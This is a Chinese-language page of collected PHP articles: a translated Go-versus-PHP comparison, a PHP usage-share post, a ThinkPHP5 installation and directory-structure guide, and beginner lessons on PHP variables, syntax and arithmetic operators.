不断发展的模型具有复杂的需求,而领域驱动的设计可以满足这种需求。为此,你需要许多面向对象的功能,PHP也的确提供了许多这样的功能:trait、抽象方法和类,final方法和类,魔术方法等等。GoLang缺少这些功能,这是一个难以克服的限制条件。因此,我认为GoLang仅适用于微服务或小型应用程序,而PHP适用于所有微服务、小型、中型乃至大型应用程序。

测试

我认为,在决定项目质量方面,测试是最重要的工作:单元测试、集成测试、功能测试、UI测试、性能测试等等,项目拥有的测试越多,交付的质量就越好。GO和PHP的单元测试框架都很出色,Go拥有嵌入式测试包,而PHP有 PHPUnit,它们都提供了一组丰富的功能,可用于测试你的代码。PHPUnit的功能比GoLang测试包更多,因为PHP的功能更多。这两种工具都可以完成编程语言的工作。然而, 在进行高级测试时,PHP和Go就会表现出很大的不同。

首先,对于性能测试,Go的测试包中拥有很多性能测试的功能。pprof 等许多库都可以使用这些功能来创建华丽的数据报告。虽然PHP也有一套可用于性能测试的库和技术,但Go的更加易于使用。我相信这是静态类型语言的优势之一。

其次,对于高级测试技术(例如BDD、TDD和A/B测试),PHP拥有更多支持、更多库,还有一个更大的社区。例如,两种语言都实现了Cucumber(或Gherkin),但是PHP 的 BEHAT 实现支持40多种语言,是完全基于独立组件构建的,而且在GitHub上的支持比Cucumber更多(更多分支、更多给星等等)。

最后,对于功能测试或UI测试,PHP的库更多,且对现有工具的支持更好。Selenium 拥有非常强大的PHP支持(3000多个跨浏览器测试、视频记录、文本和可视日志等),而对于Go来说,只有一个没有良好维护的驱动程序 tebeka / selenium(最后一次提交发生在5个月前)。

其他差异

两种语言之间还有许多其他差异,重点包括:

GoLang 的性能比PHP更好。我们有数百种基准,可以在各种情况下测试 PHP 和 GoLang,但大多数时候明显都是 GoLang 胜出。最重要的是,Go的开发速度很快:测试运行速度更快、内存使用效率更高、CPU使用率更低。PHP社区的人数远远超过了 GoLang,而且支持非常出色。我发现 GoLang 使用了许多糟糕的东西,例如代码生成器,这都是PHP社区几年前抛弃的东西。打包维护也很不相同。在GoLang中,打包维护是内部管理的;而PHP有两层不同的实现方式:第一,PHP扩展级别;第二,每个人都使用的库级别。PHP的情况更为复杂,而go则将两层管理放到了一起。

最后一点想法

这两种语言有明显的区别,在两者之间做选择非常容易。GoLang 的性能更好,拥有原生异步功能以及其他基本功能,非常适合需要频繁使用的小型应用程序和微服务。

然而,随着应用程序的不断增长,业务逻辑复杂度加剧的情况下,PHP是很自然的选择,因为你可以充分利用PHP的面向对象功能和社区支持。

原文:https://medium.com/swlh/6-months-with-golang-after-many-years-with-php-c52124fb7da?

本文为 CSDN 翻译,转载请注明来源出处。

【End】

展开
收起

2019年PHP编程语言全球使用份额权威调查

PHP一直被唱衰,特别是某一些培训机构为了推python、java等语言的培训,总是搞一些编程语言排行榜,误导编程初学者,给初学者造成PHP不行了的印象。是否PHP真的在走下坡路?PHP语言到底市场份额占有多少?

不妨根据 W3Techs 提供的数据和报告,看看 PHP 最新的使用统计和市场定位情况。W3Techs 是国外一个专门调查 Web 技术的网站,提供有关 Web 各种技术的使用情况信息。

来源地址:https://w3techs.com/technologies/overview/programming_language

以上是W3Techs提供的2019年12月6号的统计数据。

是的,你没有看错!PHP在WEB网站服务器端使用的编程语言所占份额高达78.9%,稳居第一!将排在第二位的ASP.NET和第三位的JAVA远远甩在身后。

那有人又开始杠了,你只是统计的一个月的,不具有代表性,那我们再来看看最近一年的情况。

(WEB服务器端编程语言使用情况统计)

(折线图形式)

上图我们可以看到PHP语言在WEB服务器端语言中基本稳定保持在79%,ASP.NET有小幅度下滑,Java小幅上升。

总而言之:

PHP是世界上最好的语言,没有之一!不是梗,也不是空穴来风。PHP是免费开源的、WEB开发全球使用最多、生态最好、维护成本也是最低的一种网站服务端开发语言,所以做网站编程开发首选肯定是PHP,PHP也是学习周期最短,入门最容易的一门编程语言,不像Java、Python、.NET等需要一定的学历,另外也是最好找工作的一门语言。

我们再来看看有哪些知名的网站使用的是PHP语言。

全部使用PHP的网站

php中文网

Smzdm

Asus

Nba

Pulzo

Getpocket

部分使用 PHP 的热门网站

Facebook

Wikipedia

Vk

WordPress

Pinterest

Ettoday

Instructure

腾讯

新浪

百度贴吧

网易

360

宝宝树

那我们学习PHP,要学习哪个版本呢?

我们来看下具体的统计:

从图中可以看出,PHP 5 和 PHP 7 是目前的主流。尤其是 PHP 5,大有还能再战几年的势头,至于 PHP 4 和 3 可以说是已经被抛弃了。

从PHP7开始,性能更是质的提高!最新一个版本PHP7.4也在11月底公布了,具体可参考《PHP 7.4.0刚刚发布!一起看看有哪些新特性》。

PHP8也即将发布,每个新版本都朝着更好的PHP迈出了又一步,届时php会走的更远!

展开
收起

ThinkPHP5框架使用快速入门

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。

一、安装ThinkPHP5

安装需求:PHP版本不得小于5.4;

1、从官网进行下载安装

2、通过composer进行安装

如果还未安装composer,请先安装composer并配置环境变量

运行如下命令,进行安装:

composer create-project topthink/think=5.0.* tp5 --prefer-dist

3、通过git安装

3.1、运行如下命令,安装thinkphp的应用项目

git clone https://github.com/top-think/think tp5

安装成功后的界面:如下图所示

3.2、进入到刚才已下载的tp5目录下,运行如下命令,安装thinkphp的核心框架

git clone https://github.com/top-think/framework thinkphp

安装成功后的界面:如下图所示

安装完成,验证是否安装成功,在浏览器中输入:http://hostname/tp5/public/

如果浏览器显示如下图所示,则说明框架安装成功。

二、目录结构框架的目录结构,如下图所示:

application:应用目录

index:模块目录

index/config.php:模块配置文件

index/common.php:模块公共函数文件

index/controller:控制器目录

index/model:模型目录

index/view:视图目录

config.php:应用配置文件

command.php:命令工具配置文件

common.php:应用公共函数文件

tags.php:应用行为扩展定义文件

extend:扩展类库目录

public:WEB 部署目录(对外访问目录)

static:静态资源存放目录(css,js,image)

index.php:应用入口文件

.htaccess:用于apache重写

router.php:快速测试文件

runtime:应用的运行时目录

vendor:通过composer安装的第三方类库目录

thinkphp:系统核心目录

lang:系统语言包目录

library:框架核心类库目录

tpl:系统模板目录

base.php:基础定义文件

route:路由配置目录

三、ThinkPHP框架最基本的架构

thinkphp是基于MVC模式开发的,业务逻辑、数据、界面显示分离,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,不需要重新编写业务逻辑。

1、入口文件

用户发起的请求都会经过应用的入口文件,通常是 public/index.php文件。入口文件的内容如下:

在入口文件index.php中加载了基础文件base.php文件,在base.php中干了这样一些事情:

载入Loader类

注册自动加载

注册错误和异常处理机制

实现日志接口

注册类库别名

加载完基础文件之后,最后在index.php中执行应用并响应。

2、应用

ThinkPHP的应用是一个管理系统架构及生命周期的对象,由系统创建完成,应用通常在入口文件中被调用和执行,每个应用都具有自己独立的模块、config配置文件以及common公共函数文件。

3、模块

一个应用是可能是由多个模块组成的,通俗的来说,这些模块即为该应用目录下面的一个个的子目录,每个模块都有自己独立的MVC结构、config配置文件以及common公共函数文件。

注:模块名称请避免使用PHP保留关键字,否则会造成系统错误。

4、控制器

控制器主要负责接收发送过来的请求,并调用相关的模型业务逻辑的数据处理,并最终将用户请求数据渲染到视图页面上。

5、模型

模型类通常完成实际的业务逻辑和数据封装,并返回和格式无关的数据。在定义模型时,要注意和表名对应,因为框架中的模型会自动对应数据库中的数据表。在ThinkPHP中模型类的命名规则是除去表前缀的数据表名称,命名方式采用的驼峰命名法,而且模型的首字母要大写。

6、视图

视图接收从控制器渲染过来的数据,将数据渲染的成用户可见的页面。

7、命名空间

命名空间是程序设计者命名的内存区域,程序设计者根据需指定一些有名字的空间域,把一些全局实体分别存放到各个命名空间中,从而与其他全局实体分隔开。

通俗的说,每个名字空间都是一个名字空间域,存放在名字空间域中的全局实体只在本空间域内有效。名字空间对全局实体加以域的限制,从而合理的解决命名冲突。

展开
收起

php如何使用变量(入门3)

php是世界上最好的语言

php的环境搭建好了之后,我们就可以写代码了。

一:如何新建PHP文件。

上一节介绍怎么搭建环境,现在接着在环境目录www(根目录)下面新建一个php文件。新建一个记事本文件,然后后缀修改成php结尾。

新建txt文件,然后修改成php结尾

二:变量?

1:变量是用$美元符号表示的,后面接着英文单词,或者汉语拼音都可以,为了方别可读性最好用英文单词表示。

2:变量是什么呢,变量好比是一个空箱子,用来临时存放数据的。$name='zhangsan';意思是把zhangsan赋值给$name,中间的=是赋值的意思,不是等于号。你给变量什么值,他就是什么什么值,随时可以改变。

$name='zhangsan';

$name='lisi';

开始给$name这个变量赋值为zhangsan,那么$name就是zhangsan,后面又$name='lisi',那么$name就不再是zhangsan了,现在是lisi了。现在就明白了,变量的值是会变得,你给他赋值什么,就变成什么值。

3:至于环境变量,魔法变量,静态变量。这些后面再讲,先入门。

4:我们现在就会写变量了,就是$符合后面跟着英文单词或者字母,名字随便取。

5:官方的变量名规则,可以参考,我讲的比较通俗。

PHP 变量规则:

变量以 $ 符号开始,后面跟着变量的名称变量名必须以字母或者下划线字符开始变量名只能包含字母数字字符以及下划线(A-z、0-9 和 _ )变量名不能包含空格变量名是区分大小写的($y 和 $Y 是两个不同的变量)6:在PHP标签里面写标量,下面是案例。

<?php

$txt="Hello world!";

$x=5;

$y=10.5;

?>

展开
收起

php的基本语法使用

1.区分大小写的情况

· 是指变量名区分大小写,其他基本都不区分

· 比如函数名不区分

· 比如系统中使用的关键字也不区分大小写,比如if, else, for

· 常量:可以自己设定是否区分,默认是区分的,也是推荐的做法。

2.语句结束符

· 一条语句使用一个分号结束

· 一段php代码区域中最后一个分号可省略

· php结束标记省略则不能省略最后一个分号

3.php注释

· 单行注释

o //常规风格(推荐)

o #配置文件风格

· 多行注释

o /* ....多行注释内容... */

多行注释技巧1:

/*

.... .....

//*/

多行注释技巧2:

if语句

4.变量

基本理解

变量是一个“标识符”,是一个“名字”,它用于存储并表示可以变化的数据;

对数据的使用和操作,只要通过变量就可以了!

每个变量中,就存储“一个数据”!

变量跟其所存储的数据之间的关系,称为“引用关系(指代关系)”,比如:

$i = 1; //则该语句的含义如下图所示

5.isset()判断:

用于判断一个变量“是否存在”——严格来说,是判断该变量中“是否有有效数据”;

返回的结果是布尔值:true(表示有),false(表示没有)

代码演示如下:

6.unset()销毁:

可以理解为:将变量和数据之间的原来的“引用关系”(指代关系)断开!!!

如下图所示:

7.变量的传值方式:

说明:

1,这里研究的是:将一个变量的值,传给另一个变量的内部机制(一对一情形)

2,只有2种:值传递,引用传递;

3,php中,默认都是值传递,引用传递必须使用引用符号:&

8.值传递:

将变量1的数据值,“复制”一份,然后将该复制出来的新的数据值,赋值给变量2:

形式为:

$v2 = $v1;

比如:

$v1 = 1;

$v2 = $v1;

理解:

9.引用传递:

将变量1的对数据的关系,“复制”一份,让变量2去使用该关系,其实相当于变量2也有一个指向之前变量1的数据的关系。

形式为:

$v2 = & $v1;

比如:

$v1 = 1;

$v2 = & $v1;

理解:

10.可变变量

是一个变量名本身又是一个变量的“情况”。

$name = “a”;

$a = 10;

echo $$name; //这就是可变变量,其实,它是指输出一个变量:$$name,其中变量名为”$name”,也就是“a”,即这里输出的就是变量 $a,也就是10

$b = 20;

$name = “b”;

echo $$name; //此时输出:20,其实是输出变量 $b

再举例:

$a = 10;

$b = “a”;

$c = “b”;

$d = $$$c + 4;; //14, 这里,$$$c就是“可变变量”

展开
收起

php运算符的使用

1.运算符

算术运算符

基本:

1, 包括有:+ - * / %

2,他们都只针对“数字”进行运算:如果不是数字,会“自动转换”为数字

3,其中取余(取模)运算符(%),只能针对整数进行,如果不是整数,直接“截取”为整数

比如:

$v1 = 11.5 % 3 ; //结果是:2, 其实是11%3

$v2 = 11.5 % 2.5; //结果是:1, 其实是11%2

$v2 = 10.5 % 3.5; //结果是:1, 其实是10%3

2.自增(++)自减(--)运算符

以下只对++进行说明,(--)运算同理。

对一个“变量”的值进行自加1的运算,比如:

$v1 = 11;

$v1++; //v1的值为12了,这叫“后自加”

++$v1; //v1的值为13了,这叫“前自加”

3.前自增和后自增的区别(自减同理):

展开
收起